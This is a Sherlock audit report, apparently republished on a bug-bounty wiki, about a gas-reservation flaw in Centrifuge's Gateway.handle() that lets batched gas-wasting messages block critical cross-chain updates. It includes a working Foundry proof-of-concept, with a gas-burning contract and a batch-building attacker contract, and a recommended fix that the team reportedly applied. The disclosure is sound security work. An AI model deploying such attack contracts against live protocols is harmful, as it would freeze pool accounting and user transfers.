Inadequate gas reservation in `Gateway.handle()` try-catch block enables permanent DOS via batch-level gas exhaustion
The Gateway.handle() function forwards nearly all remaining gas to each message processor while reserving only 40,000 gas for the current message's failure storage, ignoring the gas needed for subsequent messages in the batch. An attacker can batch multiple gas-wasting UntrustedContractUpdate messages before critical messages, causing the batch to revert with NotEnoughGasToProcess() and permanently block critical operations like UpdateHoldingAmount.
Source: https://github.com/sherlock-audit/2025-10-centrifuge-protocol-v3-1-audit-judging/issues/512
Found by
0x52
Summary
Gateway.handle() uses inadequate gas management when processing batched messages, reserving only GAS_FAIL_MESSAGE_STORAGE (40,000 gas) for the current message via gasleft() - GAS_FAIL_MESSAGE_STORAGE while ignoring all remaining messages in the batch. This allows malicious UntrustedContractUpdate messages to consume nearly all forwarded gas, leaving insufficient gas for subsequent messages. Even with 30M gas (full Ethereum block), just 3 gas-wasting messages can exhaust all gas, causing critical messages like UpdateHoldingAmount to permanently fail with NotEnoughGasToProcess(). The root cause is that Gateway.handle() only reserves gas for the current message's failure storage, not for all remaining messages in the batch.
Root Cause
Gateway.sol#L116 - Forwards gasleft() - GAS_FAIL_MESSAGE_STORAGE to processor, reserving only 40K for current message instead of remainingMessages * GAS_FAIL_MESSAGE_STORAGE
Vulnerability Detail
The vulnerability lies in Gateway.handle()'s inadequate gas reservation strategy when processing batched messages. The function only reserves GAS_FAIL_MESSAGE_STORAGE (40,000 gas) for the current message's failure storage, completely ignoring that remaining messages in the batch also need gas to pass the gasleft() check:
function handle(uint16 centrifugeId, bytes memory batch) public pauseable auth {
...
while (remaining.length > 0) {
uint256 length = processor.messageLength(remaining);
bytes memory message = remaining.slice(0, length);
...
remaining = remaining.slice(length, remaining.length - length);
bytes32 messageHash = keccak256(message);
require(gasleft() > GAS_FAIL_MESSAGE_STORAGE, NotEnoughGasToProcess()); // Line 114
try processor.handle{gas: gasleft() - GAS_FAIL_MESSAGE_STORAGE}(centrifugeId, message) { // Line 116
emit ExecuteMessage(centrifugeId, message, messageHash);
} catch (bytes memory err) {
failedMessages[centrifugeId][messageHash]++;
emit FailMessage(centrifugeId, message, messageHash, err);
}
}
}
At line 114, Gateway.handle() checks gasleft() > GAS_FAIL_MESSAGE_STORAGE (40,000 gas), ensuring the current message has enough gas for failure storage. At line 116, it forwards gasleft() - GAS_FAIL_MESSAGE_STORAGE to processor.handle().
The critical flaw: This formula only accounts for the current message, not the remaining messages in the batch. If there are N remaining messages, the function should reserve N * GAS_FAIL_MESSAGE_STORAGE to ensure each subsequent message can pass the gasleft() check and have enough gas for its own storage operations if it fails.
The attack exploits spoke.updateContract(), which is permissionless and allows targeting any contract:
function updateContract(
PoolId poolId,
ShareClassId scId,
bytes32 target,
bytes calldata payload,
uint128 extraGasLimit,
address refund
) external payable {
emit UntrustedContractUpdate(poolId.centrifugeId(), poolId, scId, target, payload, msg.sender);
sender.sendUntrustedContractUpdate{value: msg.value}(
poolId, scId, target, payload, msg.sender.toBytes32(), extraGasLimit, refund
);
}
An attacker deploys a malicious contract that burns gas through computation:
function untrustedCall(...) external view {
uint256 gasStart = gasleft();
uint256 dummy;
while (gasleft() > gasStart / 64) {
dummy = uint256(keccak256(abi.encode(dummy)));
}
}
The attack leverages nested batching via Gateway.withBatch() combined with QueueManager.sync(), allowing malicious UntrustedContractUpdate messages to be batched with critical system messages like UpdateHoldingAmount and ExecuteTransferShares.
For clarity, here's the mathematical breakdown of how the inadequate gas reservation leads to DOS. This illustrates why the attack works even with 30M gas (full Ethereum block) and demonstrates that EIP-150's 63/64 gas forwarding rule, combined with storage operations consuming the reserved 40K, causes the gas to decay until subsequent messages fail.
Message 1 (malicious UntrustedContractUpdate):
- Gateway has:
30,000,000gas before check - Passes check:
gasleft() > 40,000✓ - Gateway forwards:
gasleft() - 40,000 = 29,960,000gas - Malicious contract burns:
63/64 * 29,960,000 = 29,491,875gas - Gas remaining after forwarding:
30,000,000 - 29,491,875 = 508,125gas - Storage operations:
failedMessages[centrifugeId][messageHash]++andemit FailMessage(...)cost ~40,000 gas - Gas remaining after Message 1:
508,125 - 40,000 = 468,125gas
Message 2 (malicious UntrustedContractUpdate):
- Gateway has:
468,125gas before check - Passes check:
gasleft() > 40,000✓ - Gateway forwards:
468,125 - 40,000 = 428,125gas - Malicious contract burns:
63/64 * 428,125 = 421,445gas - Gas remaining after forwarding:
468,125 - 421,445 = 46,680gas - Storage operations: ~40,000 gas
- Gas remaining after Message 2:
46,680 - 40,000 = 6,680gas
Message 3 (malicious UntrustedContractUpdate):
- Gateway has:
6,680gas before check - FAILS check:
gasleft() > 40,000✗ (6,680 < 40,000) - REVERTS with
NotEnoughGasToProcess()at line 114 - Entire batch reverts, messages permanently stuck
Message 4 (critical UpdateHoldingAmount):
- Never executed - batch already reverted at Message 3
The key insight is that each failed message's storage operations consume approximately 40,000 gas. After just 2 malicious messages, the remaining gas drops to 6,680, which fails the gasleft() > 40,000 check for Message 3. The GAS_FAIL_MESSAGE_STORAGE constant accounts for the current message's failure storage but not for all remaining messages in the batch. No amount of starting gas can prevent this attack when enough malicious messages are batched before critical messages.
Impact
Critical system messages batched with malicious UntrustedContractUpdate messages become permanently stuck and cannot be processed. When the batch executes, it reverts at the Gateway.handle() level before reaching individual message processing, making the entire batch unrecoverable.
Affected message types include UpdateHoldingAmount messages that synchronize pool accounting state between hub and spoke chains, and ExecuteTransferShares messages used in spoke-to-spoke share transfers. When these messages are blocked, pools cannot update their holding amounts and users cannot transfer shares between spoke chains, breaking core cross-chain functionality.
Proof of Concept
Add the following file to protocol/test:
pragma solidity 0.8.28;
import "./core/spoke/integration/BaseTest.sol";
import {IGateway} from "../src/core/messaging/interfaces/IGateway.sol";
import {ISpoke} from "../src/core/spoke/interfaces/ISpoke.sol";
import {IQueueManager} from "../src/managers/spoke/interfaces/IQueueManager.sol";
import {IUntrustedContractUpdate} from "../src/core/utils/interfaces/IContractUpdate.sol";
import {AssetId} from "../src/core/types/AssetId.sol";
import {ShareClassId} from "../src/core/types/ShareClassId.sol";
import {PoolId} from "../src/core/types/PoolId.sol";
import {VaultKind} from "../src/core/spoke/interfaces/IVault.sol";
import {BytesLib} from "../src/misc/libraries/BytesLib.sol";
import {MessageLib, MessageType} from "../src/core/messaging/libraries/MessageLib.sol";
import "forge-std/console.sol";
/**
* @notice Malicious contract that burns gas through computation
*/
contract MaliciousGasWaster is IUntrustedContractUpdate {
function untrustedCall(
PoolId /* poolId */,
ShareClassId /* scId */,
bytes calldata /* payload */,
uint16 /* centrifugeId */,
bytes32 /* sender */
) external view override {
// Burn gas by looping until we've consumed 63/64 of received gas
uint256 gasStart = gasleft();
uint256 dummy;
while (gasleft() > gasStart / 64) {
dummy = uint256(keccak256(abi.encode(dummy)));
}
}
}
/**
* @notice Contract that creates the malicious batch
*/
contract BatchCreator {
IGateway public gateway;
ISpoke public spoke;
IQueueManager public queueManager;
PoolId public poolId;
ShareClassId public scId;
AssetId[] public assetIds;
address public maliciousTarget;
constructor(
address _gateway,
address _spoke,
address _queueManager,
PoolId _poolId,
ShareClassId _scId,
address _maliciousTarget
) {
gateway = IGateway(_gateway);
spoke = ISpoke(_spoke);
queueManager = IQueueManager(_queueManager);
poolId = _poolId;
scId = _scId;
maliciousTarget = _maliciousTarget;
}
function setAssetIds(AssetId[] memory _assetIds) external {
delete assetIds;
for (uint i = 0; i < _assetIds.length; i++) {
assetIds.push(_assetIds[i]);
}
}
receive() external payable {}
function createMaliciousBatch() external payable {
gateway.withBatch{value: msg.value}(
abi.encodeWithSelector(this.batchCallback.selector),
address(this)
);
}
function batchCallback() external payable {
// Add 3 UntrustedContractUpdate messages (gas wasters)
for (uint256 i = 0; i < 3; i++) {
spoke.updateContract{value: 0}(
poolId,
scId,
bytes32(bytes20(maliciousTarget)),
"",
0,
address(this)
);
}
gateway.lockCallback();
// Add system message via nested batch
queueManager.sync{value: 0}(poolId, scId, assetIds, address(this));
}
}
contract GasExhaustionDOSTest is BaseTest {
using MessageLib for *;
using BytesLib for bytes;
MaliciousGasWaster public gasWaster;
BatchCreator public batchCreator;
ShareClassId defaultTypedShareClassId;
function setUp() public override {
super.setUp();
defaultTypedShareClassId = ShareClassId.wrap(defaultShareClassId);
balanceSheet.updateManager(POOL_A, address(queueManager), true);
// Deploy vaults
address asset1 = address(erc20);
address asset2 = address(new ERC20(6));
(,, uint128 createdAssetId1) =
deployVault(VaultKind.SyncDepositAsyncRedeem, 18, address(0), defaultShareClassId, asset1, 0, THIS_CHAIN_ID);
(,, uint128 createdAssetId2) =
deployVault(VaultKind.SyncDepositAsyncRedeem, 18, address(0), defaultShareClassId, asset2, 0, THIS_CHAIN_ID);
// Deploy attack contracts
gasWaster = new MaliciousGasWaster();
batchCreator = new BatchCreator(
address(gateway),
address(spoke),
address(queueManager),
POOL_A,
defaultTypedShareClassId,
address(gasWaster)
);
// Set asset IDs for sync
AssetId[] memory assets = new AssetId[](2);
assets[0] = AssetId.wrap(createdAssetId1);
assets[1] = AssetId.wrap(createdAssetId2);
batchCreator.setAssetIds(assets);
// Queue deposits to trigger sync messages
erc20.mint(address(asyncRequestManager), 1000e18);
vm.prank(address(asyncRequestManager));
erc20.approve(address(balanceSheet), 1000e18);
vm.prank(address(asyncRequestManager));
balanceSheet.deposit(POOL_A, defaultTypedShareClassId, asset1, 0, 1000e18);
balanceSheet.updateManager(POOL_A, address(batchCreator), true);
}
/// forge-config: default.isolate = true
function testGasExhaustionDOS() public {
console.log("\n=== GAS EXHAUSTION DOS ATTACK ===\n");
// Create malicious batch
batchCreator.createMaliciousBatch{value: 1 ether}();
// Get the actual batch that was sent through the adapter
bytes memory batch = adapter1.values_bytes("send");
require(batch.length > 0, "No batch was sent");
console.log("Batch size:", batch.length, "bytes");
// Parse and display batch contents
console.log("Batch contents:");
bytes memory remaining = batch;
uint256 maliciousCount = 0;
while (remaining.length > 0) {
uint256 length = gateway.processor().messageLength(remaining);
bytes memory message = remaining.slice(0, length);
MessageType msgType = MessageLib.messageType(message);
string memory typeStr = msgType == MessageType.UntrustedContractUpdate
? "UntrustedContractUpdate (gas waster)"
: "UpdateHoldingAmount (victim)";
console.log(" -", typeStr);
remaining = remaining.slice(length, remaining.length - length);
}
// Execute with 30M gas (full Ethereum block)
console.log("\nExecuting batch with 30M gas (full block)...");
bool didRevert = false;
try centrifugeChain.execute{gas: 30_000_000}(batch) {
console.log("FAILED: Batch executed successfully");
} catch (bytes memory err) {
didRevert = true;
console.log("SUCCESS: Batch REVERTED due to gas exhaustion\n");
if (err.length >= 4 && bytes4(err) == 0xb2df9126) {
console.log("Error: NotEnoughGasToProcess() [0xb2df9126]");
console.log("Occurs at Gateway.sol:114 when gasleft() <= 40K\n");
}
}
console.log("=== PROOF OF DOS ===");
console.log("UpdateHoldingAmount cannot execute even with full block gas");
console.log("This permanently blocks critical pool accounting updates!");
require(didRevert, "Attack failed - batch should have reverted");
}
}
Code Snippet
Tool Used
Manual Review
Recommendation
Fix the inadequate gas reservation in Gateway.handle() by reserving gas for all remaining messages instead of just the current message. The current formula gasleft() - GAS_FAIL_MESSAGE_STORAGE only accounts for the current message's failure storage, causing subsequent messages to fail when gas is exhausted.
The fix requires two changes:
- Parse all messages first to get an exact count
- Reserve gas for all remaining messages using
remainingMessages * GAS_FAIL_MESSAGE_STORAGE
function handle(uint16 centrifugeId, bytes memory batch) public pauseable auth {
PoolId batchPoolId = processor.messagePoolId(batch);
- bytes memory remaining = batch;
+
+ // Parse and store all messages
+ bytes[] memory messages = new bytes[](0);
+ bytes32[] memory messageHashes = new bytes32[](0);
+ bytes memory remaining = batch;
+
+ while (remaining.length > 0) {
+ uint256 length = processor.messageLength(remaining);
+ bytes memory message = remaining.slice(0, length);
+
+ if (remaining.length != batch.length) {
+ require(batchPoolId == processor.messagePoolId(message), MalformedBatch());
+ }
+
+ // Store message and hash
+ bytes[] memory tempMessages = new bytes[](messages.length + 1);
+ bytes32[] memory tempHashes = new bytes32[](messageHashes.length + 1);
+ for (uint256 i = 0; i < messages.length; i++) {
+ tempMessages[i] = messages[i];
+ tempHashes[i] = messageHashes[i];
+ }
+ tempMessages[messages.length] = message;
+ tempHashes[messageHashes.length] = keccak256(message);
+ messages = tempMessages;
+ messageHashes = tempHashes;
+
+ remaining = remaining.slice(length, remaining.length - length);
+ }
+
+ uint256 totalMessages = messages.length;
+ require(totalMessages > 0, EmptyBatch());
- while (remaining.length > 0) {
- uint256 length = processor.messageLength(remaining);
- bytes memory message = remaining.slice(0, length);
-
- if (remaining.length != batch.length) {
- require(batchPoolId == processor.messagePoolId(message), MalformedBatch());
- }
-
- remaining = remaining.slice(length, remaining.length - length);
- bytes32 messageHash = keccak256(message);
-
+ // Execute messages with proper gas reservation for ALL remaining messages
+ for (uint256 i = 0; i < totalMessages; i++) {
+ bytes memory message = messages[i];
+ bytes32 messageHash = messageHashes[i];
+
+ // ← FIX: Reserve gas for ALL remaining messages, not just current
+ uint256 remainingMessages = totalMessages - i;
+ uint256 gasReserveForRemaining = remainingMessages * GAS_FAIL_MESSAGE_STORAGE;
+
require(gasleft() > GAS_FAIL_MESSAGE_STORAGE, NotEnoughGasToProcess());
- try processor.handle{gas: gasleft() - GAS_FAIL_MESSAGE_STORAGE}(centrifugeId, message) {
+ try processor.handle{gas: gasleft() - gasReserveForRemaining}(centrifugeId, message) {
emit ExecuteMessage(centrifugeId, message, messageHash);
} catch (bytes memory err) {
failedMessages[centrifugeId][messageHash]++;
emit FailMessage(centrifugeId, message, messageHash, err);
}
}
}
Discussion
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: https://github.com/centrifuge/protocol-internal/pull/41
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the gas reservation in Gateway.handle() only accounts for the current message's failure storage, not for all remaining messages in the batch.
Impact
Critical system messages batched with malicious UntrustedContractUpdate messages become permanently stuck and cannot be processed, breaking core cross-chain functionality such as pool accounting updates and share transfers.
What the attacker needed
Attacker can call spoke.updateContract(); Attacker can create a batch via Gateway.withBatch(); Batch includes critical messages after malicious ones
The fix
The protocol team fixed this issue by reserving gas for all remaining messages instead of just the current message.
How it was found
- Deploy a malicious contract that burns gas in its untrustedCall function.
- Call spoke.updateContract() multiple times to create UntrustedContractUpdate messages targeting the malicious contract.
- Use Gateway.withBatch() to batch these malicious messages together with critical system messages like UpdateHoldingAmount.
- Execute the batch with sufficient gas (e.g., 30M).
- Observe that after a few malicious messages, the gas left falls below the required threshold, causing the batch to revert with NotEnoughGasToProcess().
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a batch of messages is processed, each message is given almost all the remaining gas, but only a small amount is kept back to handle a failure. If an attacker includes several messages that deliberately use up all their gas, the gas left for later messages becomes too low, and the whole batch fails. This means important messages can never be processed, breaking core functions.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.